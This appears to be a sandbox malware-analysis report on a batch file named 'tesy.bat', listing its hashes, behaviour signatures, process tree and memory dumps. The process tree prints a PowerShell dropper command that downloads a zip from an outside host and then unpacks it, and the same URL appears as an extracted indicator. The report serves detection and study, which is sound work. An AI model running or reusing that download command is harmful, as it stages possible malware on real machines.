3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06-11-2023 23:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy.bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	3036	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3036	powershell.exe
1964	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 3036	2616	cmd.exe	29
PID 2616 wrote to memory of 3036	2616	cmd.exe	29
PID 2616 wrote to memory of 3036	2616	cmd.exe	29
PID 2616 wrote to memory of 1964	2616	cmd.exe	30
PID 2616 wrote to memory of 1964	2616	cmd.exe	30
PID 2616 wrote to memory of 1964	2616	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1964

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2b02c457c38c3f08615e60f058fe0eda

SHA1
b0efd10828e56a7fbf15ab9cb6fa7066e3441d46

SHA256
c1b0e422b7d2bd5480d125b714aea6d9473ec5930ff41d9fe4dca7dff220f5d6

SHA512
103e68da123ad804bc2c275497306123e9cedab9ed1ebd19c80810cd7a4e8897c061e4ba9f80e12d4b5979801a391fda8e01d077f6642d1be06e024989df0b59

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XOBAPFO5BZWRSOZQGJSS.temp

Filesize
7KB

MD5
2b02c457c38c3f08615e60f058fe0eda

SHA1
b0efd10828e56a7fbf15ab9cb6fa7066e3441d46

SHA256
c1b0e422b7d2bd5480d125b714aea6d9473ec5930ff41d9fe4dca7dff220f5d6

SHA512
103e68da123ad804bc2c275497306123e9cedab9ed1ebd19c80810cd7a4e8897c061e4ba9f80e12d4b5979801a391fda8e01d077f6642d1be06e024989df0b59

Download Submit
memory/1964-20-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/1964-23-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1964-26-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/1964-25-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1964-24-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1964-22-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1964-21-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/1964-18-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/1964-19-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/3036-5-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download
memory/3036-4-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/3036-6-0x000007FEF4FF0000-0x000007FEF598D000-memory.dmp

Filesize
9.6MB

Download
memory/3036-12-0x000007FEF4FF0000-0x000007FEF598D000-memory.dmp

Filesize
9.6MB

Download
memory/3036-7-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/3036-10-0x000007FEF4FF0000-0x000007FEF598D000-memory.dmp

Filesize
9.6MB

Download
memory/3036-9-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download
memory/3036-8-0x0000000002830000-0x00000000028B0000-memory.dmp

Filesize
512KB

Download